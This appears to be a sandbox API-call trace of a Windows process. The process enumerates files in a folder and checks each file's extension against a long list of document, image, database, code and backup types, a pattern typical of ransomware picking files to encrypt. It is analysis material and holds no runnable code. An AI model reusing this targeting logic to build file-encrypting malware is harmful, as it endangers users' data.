	[0070.204] lstrlenW (lpString=".php") returned 4
	[0070.204] lstrcmpiW (lpString1=".php", lpString2=".rtf") returned -1
	[0070.204] lstrlenW (lpString=".php3") returned 5
	[0070.204] lstrcmpiW (lpString1=".php3", lpString2="a.rtf") returned -1
	[0070.204] lstrlenW (lpString=".php4") returned 5
	[0070.204] lstrcmpiW (lpString1=".php4", lpString2="a.rtf") returned -1
	[0070.204] lstrlenW (lpString=".php5") returned 5
	[0070.204] lstrcmpiW (lpString1=".php5", lpString2="a.rtf") returned -1
	[0070.204] lstrlenW (lpString=".phtml") returned 6
	[0070.204] lstrcmpiW (lpString1=".phtml", lpString2="la.rtf") returned -1
	[0070.204] lstrlenW (lpString=".pict") returned 5
	[0070.204] lstrcmpiW (lpString1=".pict", lpString2="a.rtf") returned -1
	[0070.204] lstrlenW (lpString=".pl") returned 3
	[0070.204] lstrcmpiW (lpString1=".pl", lpString2="rtf") returned -1
	[0070.204] lstrlenW (lpString=".pls") returned 4
	[0070.205] lstrcmpiW (lpString1=".pls", lpString2=".rtf") returned -1
	[0070.205] lstrlenW (lpString=".pm") returned 3
	[0070.205] lstrcmpiW (lpString1=".pm", lpString2="rtf") returned -1
	[0070.205] lstrlenW (lpString=".png") returned 4
	[0070.205] lstrcmpiW (lpString1=".png", lpString2=".rtf") returned -1
	[0070.205] lstrlenW (lpString=".pnm") returned 4
	[0070.205] lstrcmpiW (lpString1=".pnm", lpString2=".rtf") returned -1
	[0070.205] lstrlenW (lpString=".pot") returned 4
	[0070.205] lstrcmpiW (lpString1=".pot", lpString2=".rtf") returned -1
	[0070.205] lstrlenW (lpString=".potm") returned 5
	[0070.205] lstrcmpiW (lpString1=".potm", lpString2="a.rtf") returned -1
	[0070.205] lstrlenW (lpString=".potx") returned 5
	[0070.205] lstrcmpiW (lpString1=".potx", lpString2="a.rtf") returned -1
	[0070.205] lstrlenW (lpString=".ppa") returned 4
	[0070.205] lstrcmpiW (lpString1=".ppa", lpString2=".rtf") returned -1
	[0070.205] lstrlenW (lpString=".ppam") returned 5
	[0070.205] lstrcmpiW (lpString1=".ppam", lpString2="a.rtf") returned -1
	[0070.205] lstrlenW (lpString=".ppm") returned 4
	[0070.205] lstrcmpiW (lpString1=".ppm", lpString2=".rtf") returned -1
	[0070.205] lstrlenW (lpString=".pps") returned 4
	[0070.205] lstrcmpiW (lpString1=".pps", lpString2=".rtf") returned -1
	[0070.205] lstrlenW (lpString=".ppsm") returned 5
	[0070.205] lstrcmpiW (lpString1=".ppsm", lpString2="a.rtf") returned -1
	[0070.205] lstrlenW (lpString=".ppt") returned 4
	[0070.205] lstrcmpiW (lpString1=".ppt", lpString2=".rtf") returned -1
	[0070.205] lstrlenW (lpString=".pptm") returned 5
	[0070.205] lstrcmpiW (lpString1=".pptm", lpString2="a.rtf") returned -1
	[0070.205] lstrlenW (lpString=".pptx") returned 5
	[0070.205] lstrcmpiW (lpString1=".pptx", lpString2="a.rtf") returned -1
	[0070.205] lstrlenW (lpString=".prn") returned 4
	[0070.205] lstrcmpiW (lpString1=".prn", lpString2=".rtf") returned -1
	[0070.205] lstrlenW (lpString=".ps") returned 3
	[0070.205] lstrcmpiW (lpString1=".ps", lpString2="rtf") returned -1
	[0070.205] lstrlenW (lpString=".psb") returned 4
	[0070.205] lstrcmpiW (lpString1=".psb", lpString2=".rtf") returned -1
	[0070.205] lstrlenW (lpString=".psd") returned 4
	[0070.205] lstrcmpiW (lpString1=".psd", lpString2=".rtf") returned -1
	[0070.206] lstrlenW (lpString=".pst") returned 4
	[0070.206] lstrcmpiW (lpString1=".pst", lpString2=".rtf") returned -1
	[0070.206] lstrlenW (lpString=".ptx") returned 4
	[0070.206] lstrcmpiW (lpString1=".ptx", lpString2=".rtf") returned -1
	[0070.206] lstrlenW (lpString=".pub") returned 4
	[0070.206] lstrcmpiW (lpString1=".pub", lpString2=".rtf") returned -1
	[0070.206] lstrlenW (lpString=".pwm") returned 4
	[0070.206] lstrcmpiW (lpString1=".pwm", lpString2=".rtf") returned -1
	[0070.206] lstrlenW (lpString=".pxr") returned 4
	[0070.206] lstrcmpiW (lpString1=".pxr", lpString2=".rtf") returned -1
	[0070.206] lstrlenW (lpString=".py") returned 3
	[0070.206] lstrcmpiW (lpString1=".py", lpString2="rtf") returned -1
	[0070.206] lstrlenW (lpString=".qt") returned 3
	[0070.206] lstrcmpiW (lpString1=".qt", lpString2="rtf") returned -1
	[0070.206] lstrlenW (lpString=".r3d") returned 4
	[0070.206] lstrcmpiW (lpString1=".r3d", lpString2=".rtf") returned -1
	[0070.206] lstrlenW (lpString=".raf") returned 4
	[0070.206] lstrcmpiW (lpString1=".raf", lpString2=".rtf") returned -1
	[0070.206] lstrlenW (lpString=".rar") returned 4
	[0070.206] lstrcmpiW (lpString1=".rar", lpString2=".rtf") returned -1
	[0070.206] FindNextFileW (in: hFindFile=0x3121690, lpFindFileData=0x2e8f800 | out: lpFindFileData=0x2e8f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x5398dc00, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0x138bc, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml", cAlternateFileName="LOCALI~1.XML")) returned 1
	[0070.208] FindNextFileW (in: hFindFile=0x3121690, lpFindFileData=0x2e8f800 | out: lpFindFileData=0x2e8f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4758, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 1
	[0070.208] FindNextFileW (in: hFindFile=0x3121690, lpFindFileData=0x2e8f800 | out: lpFindFileData=0x2e8f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4758, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 0
	[0070.208] FindClose (in: hFindFile=0x3121690 | out: hFindFile=0x3121690) returned 1
	[0070.208] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3110958 | out: hHeap=0x500000) returned 1
	[0070.208] FindNextFileW (in: hFindFile=0x519518, lpFindFileData=0x2e8fa7c | out: lpFindFileData=0x2e8fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="1041", cAlternateFileName="")) returned 1
	[0070.212] RtlAllocateHeap (HeapHandle=0x500000, Flags=0x0, Size=0xfffe) returned 0x3110958
	[0070.212] lstrlenW (lpString="C:\\588bce7c90097ed212\\1041") returned 26
	[0070.213] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1041\\*", lpFindFileData=0x2e8f800 | out: lpFindFileData=0x2e8f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3121590
	[0070.213] FindNextFileW (in: hFindFile=0x3121590, lpFindFileData=0x2e8f800 | out: lpFindFileData=0x2e8f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0070.213] FindNextFileW (in: hFindFile=0x3121590, lpFindFileData=0x2e8f800 | out: lpFindFileData=0x2e8f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x69d9e300, ftCreationTime.dwHighDateTime=0x1cac0d3, ftLastAccessTime.dwLowDateTime=0x69d9e300, ftLastAccessTime.dwHighDateTime=0x1cac0d3, ftLastWriteTime.dwLowDateTime=0x69d9e300, ftLastWriteTime.dwHighDateTime=0x1cac0d3, nFileSizeHigh=0x0, nFileSizeLow=0x278d, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf", cAlternateFileName="")) returned 1
	[0070.213] lstrlenW (lpString="eula.rtf") returned 8
	[0070.213] lstrlenW (lpString=".1cd") returned 4
	[0070.213] lstrcmpiW (lpString1=".1cd", lpString2=".rtf") returned -1
	[0070.213] lstrlenW (lpString=".3ds") returned 4
	[0070.213] lstrcmpiW (lpString1=".3ds", lpString2=".rtf") returned -1
	[0070.214] lstrlenW (lpString=".3fr") returned 4
	[0070.214] lstrcmpiW (lpString1=".3fr", lpString2=".rtf") returned -1
	[0070.214] lstrlenW (lpString=".3g2") returned 4
	[0070.214] lstrcmpiW (lpString1=".3g2", lpString2=".rtf") returned -1
	[0070.214] lstrlenW (lpString=".3gp") returned 4
	[0070.214] lstrcmpiW (lpString1=".3gp", lpString2=".rtf") returned -1
	[0070.214] lstrlenW (lpString=".7z") returned 3
	[0070.214] lstrcmpiW (lpString1=".7z", lpString2="rtf") returned -1
	[0070.214] lstrlenW (lpString=".accda") returned 6
	[0070.214] lstrcmpiW (lpString1=".accda", lpString2="la.rtf") returned -1
	[0070.214] lstrlenW (lpString=".accdb") returned 6
	[0070.214] lstrcmpiW (lpString1=".accdb", lpString2="la.rtf") returned -1
	[0070.214] lstrlenW (lpString=".accdc") returned 6
	[0070.214] lstrcmpiW (lpString1=".accdc", lpString2="la.rtf") returned -1
	[0070.214] lstrlenW (lpString=".accde") returned 6
	[0070.214] lstrcmpiW (lpString1=".accde", lpString2="la.rtf") returned -1
	[0070.214] lstrlenW (lpString=".accdt") returned 6
	[0070.214] lstrcmpiW (lpString1=".accdt", lpString2="la.rtf") returned -1
	[0070.214] lstrlenW (lpString=".accdw") returned 6
	[0070.214] lstrcmpiW (lpString1=".accdw", lpString2="la.rtf") returned -1
	[0070.214] lstrlenW (lpString=".adb") returned 4
	[0070.214] lstrcmpiW (lpString1=".adb", lpString2=".rtf") returned -1
	[0070.214] lstrlenW (lpString=".adp") returned 4
	[0070.214] lstrcmpiW (lpString1=".adp", lpString2=".rtf") returned -1
	[0070.214] lstrlenW (lpString=".ai") returned 3
	[0070.214] lstrcmpiW (lpString1=".ai", lpString2="rtf") returned -1
	[0070.214] lstrlenW (lpString=".ai3") returned 4
	[0070.214] lstrcmpiW (lpString1=".ai3", lpString2=".rtf") returned -1
	[0070.214] lstrlenW (lpString=".ai4") returned 4
	[0070.214] lstrcmpiW (lpString1=".ai4", lpString2=".rtf") returned -1
	[0070.214] lstrlenW (lpString=".ai5") returned 4
	[0070.214] lstrcmpiW (lpString1=".ai5", lpString2=".rtf") returned -1
	[0070.214] lstrlenW (lpString=".ai6") returned 4
	[0070.214] lstrcmpiW (lpString1=".ai6", lpString2=".rtf") returned -1
	[0070.215] lstrlenW (lpString=".ai7") returned 4
	[0070.215] lstrcmpiW (lpString1=".ai7", lpString2=".rtf") returned -1
	[0070.215] lstrlenW (lpString=".ai8") returned 4
	[0070.215] lstrcmpiW (lpString1=".ai8", lpString2=".rtf") returned -1
	[0070.215] lstrlenW (lpString=".anim") returned 5
	[0070.215] lstrcmpiW (lpString1=".anim", lpString2="a.rtf") returned -1
	[0070.215] lstrlenW (lpString=".arw") returned 4
	[0070.215] lstrcmpiW (lpString1=".arw", lpString2=".rtf") returned -1
	[0070.215] lstrlenW (lpString=".as") returned 3
	[0070.215] lstrcmpiW (lpString1=".as", lpString2="rtf") returned -1
	[0070.215] lstrlenW (lpString=".asa") returned 4
	[0070.215] lstrcmpiW (lpString1=".asa", lpString2=".rtf") returned -1
	[0070.215] lstrlenW (lpString=".asc") returned 4
	[0070.215] lstrcmpiW (lpString1=".asc", lpString2=".rtf") returned -1
	[0070.215] lstrlenW (lpString=".ascx") returned 5
	[0070.215] lstrcmpiW (lpString1=".ascx", lpString2="a.rtf") returned -1
	[0070.215] lstrlenW (lpString=".asm") returned 4
	[0070.215] lstrcmpiW (lpString1=".asm", lpString2=".rtf") returned -1
	[0070.215] lstrlenW (lpString=".asmx") returned 5
	[0070.215] lstrcmpiW (lpString1=".asmx", lpString2="a.rtf") returned -1
	[0070.215] lstrlenW (lpString=".asp") returned 4
	[0070.215] lstrcmpiW (lpString1=".asp", lpString2=".rtf") returned -1
	[0070.215] lstrlenW (lpString=".aspx") returned 5
	[0070.215] lstrcmpiW (lpString1=".aspx", lpString2="a.rtf") returned -1
	[0070.215] lstrlenW (lpString=".asr") returned 4
	[0070.215] lstrcmpiW (lpString1=".asr", lpString2=".rtf") returned -1
	[0070.215] lstrlenW (lpString=".asx") returned 4
	[0070.215] lstrcmpiW (lpString1=".asx", lpString2=".rtf") returned -1
	[0070.215] lstrlenW (lpString=".avi") returned 4
	[0070.215] lstrcmpiW (lpString1=".avi", lpString2=".rtf") returned -1
	[0070.215] lstrlenW (lpString=".avs") returned 4
	[0070.215] lstrcmpiW (lpString1=".avs", lpString2=".rtf") returned -1
	[0070.215] lstrlenW (lpString=".backup") returned 7
	[0070.215] lstrcmpiW (lpString1=".backup", lpString2="ula.rtf") returned -1
	[0070.216] lstrlenW (lpString=".bak") returned 4
	[0070.216] lstrcmpiW (lpString1=".bak", lpString2=".rtf") returned -1
	[0070.216] lstrlenW (lpString=".bay") returned 4
	[0070.216] lstrcmpiW (lpString1=".bay", lpString2=".rtf") returned -1
	[0070.216] lstrlenW (lpString=".bd") returned 3
	[0070.216] lstrcmpiW (lpString1=".bd", lpString2="rtf") returned -1
	[0070.216] lstrlenW (lpString=".bin") returned 4
	[0070.216] lstrcmpiW (lpString1=".bin", lpString2=".rtf") returned -1
	[0070.216] lstrlenW (lpString=".bmp") returned 4
	[0070.216] lstrcmpiW (lpString1=".bmp", lpString2=".rtf") returned -1
	[0070.216] lstrlenW (lpString=".bz2") returned 4
	[0070.216] lstrcmpiW (lpString1=".bz2", lpString2=".rtf") returned -1
	[0070.216] lstrlenW (lpString=".c") returned 2
	[0070.216] lstrcmpiW (lpString1=".c", lpString2="tf") returned -1
	[0070.216] lstrlenW (lpString=".cdr") returned 4
	[0070.216] lstrcmpiW (lpString1=".cdr", lpString2=".rtf") returned -1
	[0070.216] lstrlenW (lpString=".cer") returned 4
	[0070.216] lstrcmpiW (lpString1=".cer", lpString2=".rtf") returned -1
	[0070.216] lstrlenW (lpString=".cf") returned 3
	[0070.216] lstrcmpiW (lpString1=".cf", lpString2="rtf") returned -1
	[0070.216] lstrlenW (lpString=".cfc") returned 4
	[0070.216] lstrcmpiW (lpString1=".cfc", lpString2=".rtf") returned -1
	[0070.216] lstrlenW (lpString=".cfm") returned 4
	[0070.216] lstrcmpiW (lpString1=".cfm", lpString2=".rtf") returned -1
	[0070.216] lstrlenW (lpString=".cfml") returned 5
	[0070.216] lstrcmpiW (lpString1=".cfml", lpString2="a.rtf") returned -1
	[0070.216] lstrlenW (lpString=".cfu") returned 4
	[0070.216] lstrcmpiW (lpString1=".cfu", lpString2=".rtf") returned -1
	[0070.216] lstrlenW (lpString=".chm") returned 4
	[0070.216] lstrcmpiW (lpString1=".chm", lpString2=".rtf") returned -1
	[0070.216] lstrlenW (lpString=".cin") returned 4
	[0070.216] lstrcmpiW (lpString1=".cin", lpString2=".rtf") returned -1
	[0070.216] lstrlenW (lpString=".class") returned 6
	[0070.216] lstrcmpiW (lpString1=".class", lpString2="la.rtf") returned -1
	[0070.216] lstrlenW (lpString=".clx") returned 4
	[0070.216] lstrcmpiW (lpString1=".clx", lpString2=".rtf") returned -1
	[0070.217] lstrlenW (lpString=".config") returned 7
	[0070.217] lstrcmpiW (lpString1=".config", lpString2="ula.rtf") returned -1
	[0070.217] lstrlenW (lpString=".cpp") returned 4
	[0070.217] lstrcmpiW (lpString1=".cpp", lpString2=".rtf") returned -1
	[0070.217] lstrlenW (lpString=".cr2") returned 4
	[0070.217] lstrcmpiW (lpString1=".cr2", lpString2=".rtf") returned -1
	[0070.217] lstrlenW (lpString=".crt") returned 4
	[0070.217] lstrcmpiW (lpString1=".crt", lpString2=".rtf") returned -1
	[0070.217] lstrlenW (lpString=".crw") returned 4
	[0070.217] lstrcmpiW (lpString1=".crw", lpString2=".rtf") returned -1
	[0070.217] lstrlenW (lpString=".cs") returned 3
	[0070.217] lstrcmpiW (lpString1=".cs", lpString2="rtf") returned -1
	[0070.217] lstrlenW (lpString=".css") returned 4
	[0070.217] lstrcmpiW (lpString1=".css", lpString2=".rtf") returned -1
	[0070.217] lstrlenW (lpString=".csv") returned 4
	[0070.217] lstrcmpiW (lpString1=".csv", lpString2=".rtf") returned -1
	[0070.217] lstrlenW (lpString=".cub") returned 4
	[0070.217] lstrcmpiW (lpString1=".cub", lpString2=".rtf") returned -1
	[0070.217] lstrlenW (lpString=".dae") returned 4
	[0070.217] lstrcmpiW (lpString1=".dae", lpString2=".rtf") returned -1
	[0070.217] lstrlenW (lpString=".dat") returned 4
	[0070.217] lstrcmpiW (lpString1=".dat", lpString2=".rtf") returned -1
	[0070.217] lstrlenW (lpString=".db") returned 3
	[0070.217] lstrcmpiW (lpString1=".db", lpString2="rtf") returned -1
	[0070.217] lstrlenW (lpString=".dbf") returned 4
	[0070.217] lstrcmpiW (lpString1=".dbf", lpString2=".rtf") returned -1
	[0070.217] lstrlenW (lpString=".dbx") returned 4
	[0070.217] lstrcmpiW (lpString1=".dbx", lpString2=".rtf") returned -1
	[0070.217] lstrlenW (lpString=".dc3") returned 4
	[0070.217] lstrcmpiW (lpString1=".dc3", lpString2=".rtf") returned -1
	[0070.217] lstrlenW (lpString=".dcm") returned 4
	[0070.217] lstrcmpiW (lpString1=".dcm", lpString2=".rtf") returned -1
	[0070.217] lstrlenW (lpString=".dcr") returned 4
	[0070.217] lstrcmpiW (lpString1=".dcr", lpString2=".rtf") returned -1
	[0070.217] lstrlenW (lpString=".der") returned 4
	[0070.217] lstrcmpiW (lpString1=".der", lpString2=".rtf") returned -1
	[0070.217] lstrlenW (lpString=".dib") returned 4
	[0070.217] lstrcmpiW (lpString1=".dib", lpString2=".rtf") returned -1
	[0070.218] lstrlenW (lpString=".dic") returned 4
	[0070.218] lstrcmpiW (lpString1=".dic", lpString2=".rtf") returned -1
	[0070.218] lstrlenW (lpString=".dif") returned 4
	[0070.218] lstrcmpiW (lpString1=".dif", lpString2=".rtf") returned -1
	[0070.218] lstrlenW (lpString=".divx") returned 5
	[0070.218] lstrcmpiW (lpString1=".divx", lpString2="a.rtf") returned -1
	[0070.218] lstrlenW (lpString=".djvu") returned 5
	[0070.218] lstrcmpiW (lpString1=".djvu", lpString2="a.rtf") returned -1
	[0070.218] lstrlenW (lpString=".dng") returned 4
	[0070.218] lstrcmpiW (lpString1=".dng", lpString2=".rtf") returned -1
	[0070.218] lstrlenW (lpString=".doc") returned 4
	[0070.218] lstrcmpiW (lpString1=".doc", lpString2=".rtf") returned -1
	[0070.218] lstrlenW (lpString=".docm") returned 5
	[0070.218] lstrcmpiW (lpString1=".docm", lpString2="a.rtf") returned -1
	[0070.218] lstrlenW (lpString=".docx") returned 5
	[0070.218] lstrcmpiW (lpString1=".docx", lpString2="a.rtf") returned -1
	[0070.218] lstrlenW (lpString=".dot") returned 4
	[0070.218] lstrcmpiW (lpString1=".dot", lpString2=".rtf") returned -1
	[0070.218] lstrlenW (lpString=".dotm") returned 5
	[0070.218] lstrcmpiW (lpString1=".dotm", lpString2="a.rtf") returned -1
	[0070.218] lstrlenW (lpString=".dotx") returned 5
	[0070.218] lstrcmpiW (lpString1=".dotx", lpString2="a.rtf") returned -1
	[0070.218] lstrlenW (lpString=".dpx") returned 4
	[0070.218] lstrcmpiW (lpString1=".dpx", lpString2=".rtf") returned -1
	[0070.218] lstrlenW (lpString=".dqy") returned 4
	[0070.218] lstrcmpiW (lpString1=".dqy", lpString2=".rtf") returned -1
	[0070.218] lstrlenW (lpString=".dsn") returned 4
	[0070.218] lstrcmpiW (lpString1=".dsn", lpString2=".rtf") returned -1
	[0070.218] lstrlenW (lpString=".dt") returned 3
	[0070.218] lstrcmpiW (lpString1=".dt", lpString2="rtf") returned -1
	[0070.218] lstrlenW (lpString=".dtd") returned 4
	[0070.218] lstrcmpiW (lpString1=".dtd", lpString2=".rtf") returned -1
	[0070.218] lstrlenW (lpString=".dwg") returned 4
	[0070.218] lstrcmpiW (lpString1=".dwg", lpString2=".rtf") returned -1
	[0070.218] lstrlenW (lpString=".dwt") returned 4
	[0070.218] lstrcmpiW (lpString1=".dwt", lpString2=".rtf") returned -1
	[0070.219] lstrlenW (lpString=".dx") returned 3
	[0070.219] lstrcmpiW (lpString1=".dx", lpString2="rtf") returned -1
	[0070.219] lstrlenW (lpString=".dxf") returned 4
	[0070.219] lstrcmpiW (lpString1=".dxf", lpString2=".rtf") returned -1
	[0070.219] lstrlenW (lpString=".edml") returned 5
	[0070.219] lstrcmpiW (lpString1=".edml", lpString2="a.rtf") returned -1
	[0070.219] lstrlenW (lpString=".efd") returned 4
	[0070.219] lstrcmpiW (lpString1=".efd", lpString2=".rtf") returned -1
	[0070.219] lstrlenW (lpString=".elf") returned 4
	[0070.219] lstrcmpiW (lpString1=".elf", lpString2=".rtf") returned -1
	[0070.219] lstrlenW (lpString=".emf") returned 4
	[0070.219] lstrcmpiW (lpString1=".emf", lpString2=".rtf") returned -1
	[0070.219] lstrlenW (lpString=".emz") returned 4
	[0070.219] lstrcmpiW (lpString1=".emz", lpString2=".rtf") returned -1
	[0070.219] lstrlenW (lpString=".epf") returned 4
	[0070.219] lstrcmpiW (lpString1=".epf", lpString2=".rtf") returned -1
	[0070.219] lstrlenW (lpString=".eps") returned 4
	[0070.219] lstrcmpiW (lpString1=".eps", lpString2=".rtf") returned -1
	[0070.219] lstrlenW (lpString=".epsf") returned 5
	[0070.219] lstrcmpiW (lpString1=".epsf", lpString2="a.rtf") returned -1
	[0070.219] lstrlenW (lpString=".epsp") returned 5
	[0070.219] lstrcmpiW (lpString1=".epsp", lpString2="a.rtf") returned -1
	[0070.219] lstrlenW (lpString=".erf") returned 4
	[0070.219] lstrcmpiW (lpString1=".erf", lpString2=".rtf") returned -1
	[0070.219] lstrlenW (lpString=".exr") returned 4
	[0070.219] lstrcmpiW (lpString1=".exr", lpString2=".rtf") returned -1
	[0070.219] lstrlenW (lpString=".f4v") returned 4
	[0070.219] lstrcmpiW (lpString1=".f4v", lpString2=".rtf") returned -1
	[0070.219] lstrlenW (lpString=".fido") returned 5
	[0070.219] lstrcmpiW (lpString1=".fido", lpString2="a.rtf") returned -1
	[0070.219] lstrlenW (lpString=".flm") returned 4
	[0070.219] lstrcmpiW (lpString1=".flm", lpString2=".rtf") returned -1
	[0070.219] lstrlenW (lpString=".flv") returned 4
	[0070.219] lstrcmpiW (lpString1=".flv", lpString2=".rtf") returned -1
	[0070.219] lstrlenW (lpString=".frm") returned 4
	[0070.219] lstrcmpiW (lpString1=".frm", lpString2=".rtf") returned -1
	[0070.219] lstrlenW (lpString=".fxg") returned 4
	[0070.219] lstrcmpiW (lpString1=".fxg", lpString2=".rtf") returned -1
	[0070.220] lstrlenW (lpString=".geo") returned 4
	[0070.220] lstrcmpiW (lpString1=".geo", lpString2=".rtf") returned -1
	[0070.220] lstrlenW (lpString=".gif") returned 4
	[0070.220] lstrcmpiW (lpString1=".gif", lpString2=".rtf") returned -1
	[0070.220] lstrlenW (lpString=".grs") returned 4
	[0070.220] lstrcmpiW (lpString1=".grs", lpString2=".rtf") returned -1
	[0070.220] lstrlenW (lpString=".gz") returned 3
	[0070.220] lstrcmpiW (lpString1=".gz", lpString2="rtf") returned -1
	[0070.220] lstrlenW (lpString=".h") returned 2
	[0070.220] lstrcmpiW (lpString1=".h", lpString2="tf") returned -1
	[0070.220] lstrlenW (lpString=".hdr") returned 4
	[0070.220] lstrcmpiW (lpString1=".hdr", lpString2=".rtf") returned -1
	[0070.220] lstrlenW (lpString=".hpp") returned 4
	[0070.220] lstrcmpiW (lpString1=".hpp", lpString2=".rtf") returned -1
	[0070.220] lstrlenW (lpString=".hta") returned 4
	[0070.220] lstrcmpiW (lpString1=".hta", lpString2=".rtf") returned -1
	[0070.220] lstrlenW (lpString=".htc") returned 4
	[0070.220] lstrcmpiW (lpString1=".htc", lpString2=".rtf") returned -1
	[0070.220] lstrlenW (lpString=".htm") returned 4
	[0070.220] lstrcmpiW (lpString1=".htm", lpString2=".rtf") returned -1
	[0070.220] lstrlenW (lpString=".html") returned 5
	[0070.220] lstrcmpiW (lpString1=".html", lpString2="a.rtf") returned -1
	[0070.220] lstrlenW (lpString=".icb") returned 4
	[0070.220] lstrcmpiW (lpString1=".icb", lpString2=".rtf") returned -1
	[0070.220] lstrlenW (lpString=".ics") returned 4
	[0070.220] lstrcmpiW (lpString1=".ics", lpString2=".rtf") returned -1
	[0070.220] lstrlenW (lpString=".iff") returned 4
	[0070.220] lstrcmpiW (lpString1=".iff", lpString2=".rtf") returned -1
	[0070.220] lstrlenW (lpString=".inc") returned 4
	[0070.220] lstrcmpiW (lpString1=".inc", lpString2=".rtf") returned -1
	[0070.220] lstrlenW (lpString=".indd") returned 5
	[0070.220] lstrcmpiW (lpString1=".indd", lpString2="a.rtf") returned -1
	[0070.220] lstrlenW (lpString=".ini") returned 4
	[0070.220] lstrcmpiW (lpString1=".ini", lpString2=".rtf") returned -1
	[0070.220] lstrlenW (lpString=".iqy") returned 4
	[0070.221] lstrcmpiW (lpString1=".iqy", lpString2=".rtf") returned -1
	[0070.221] lstrlenW (lpString=".j2c") returned 4
	[0070.221] lstrcmpiW (lpString1=".j2c", lpString2=".rtf") returned -1
	[0070.221] lstrlenW (lpString=".j2k") returned 4
	[0070.221] lstrcmpiW (lpString1=".j2k", lpString2=".rtf") returned -1
	[0070.221] lstrlenW (lpString=".java") returned 5
	[0070.221] lstrcmpiW (lpString1=".java", lpString2="a.rtf") returned -1
	[0070.221] lstrlenW (lpString=".jp2") returned 4
	[0070.221] lstrcmpiW (lpString1=".jp2", lpString2=".rtf") returned -1
	[0070.221] lstrlenW (lpString=".jpc") returned 4
	[0070.221] lstrcmpiW (lpString1=".jpc", lpString2=".rtf") returned -1
	[0070.221] lstrlenW (lpString=".jpe") returned 4
	[0070.221] lstrcmpiW (lpString1=".jpe", lpString2=".rtf") returned -1
	[0070.221] lstrlenW (lpString=".jpeg") returned 5
	[0070.221] lstrcmpiW (lpString1=".jpeg", lpString2="a.rtf") returned -1
	[0070.221] lstrlenW (lpString=".jpf") returned 4
	[0070.221] lstrcmpiW (lpString1=".jpf", lpString2=".rtf") returned -1
	[0070.221] lstrlenW (lpString=".jpg") returned 4
	[0070.221] lstrcmpiW (lpString1=".jpg", lpString2=".rtf") returned -1
	[0070.221] lstrlenW (lpString=".jpx") returned 4
	[0070.221] lstrcmpiW (lpString1=".jpx", lpString2=".rtf") returned -1
	[0070.221] lstrlenW (lpString=".js") returned 3
	[0070.221] lstrcmpiW (lpString1=".js", lpString2="rtf") returned -1
	[0070.221] lstrlenW (lpString=".jsf") returned 4
	[0070.221] lstrcmpiW (lpString1=".jsf", lpString2=".rtf") returned -1
	[0070.221] lstrlenW (lpString=".json") returned 5
	[0070.221] lstrcmpiW (lpString1=".json", lpString2="a.rtf") returned -1
	[0070.221] lstrlenW (lpString=".jsp") returned 4
	[0070.221] lstrcmpiW (lpString1=".jsp", lpString2=".rtf") returned -1
	[0070.221] lstrlenW (lpString=".kdc") returned 4
	[0070.221] lstrcmpiW (lpString1=".kdc", lpString2=".rtf") returned -1
	[0070.221] lstrlenW (lpString=".kmz") returned 4
	[0070.221] lstrcmpiW (lpString1=".kmz", lpString2=".rtf") returned -1
	[0070.221] lstrlenW (lpString=".kwm") returned 4
	[0070.221] lstrcmpiW (lpString1=".kwm", lpString2=".rtf") returned -1
	[0070.221] lstrlenW (lpString=".lasso") returned 6
	[0070.222] lstrcmpiW (lpString1=".lasso", lpString2="la.rtf") returned -1
	[0070.222] lstrlenW (lpString=".lbi") returned 4
	[0070.222] lstrcmpiW (lpString1=".lbi", lpString2=".rtf") returned -1
	[0070.222] lstrlenW (lpString=".lgf") returned 4
	[0070.222] lstrcmpiW (lpString1=".lgf", lpString2=".rtf") returned -1
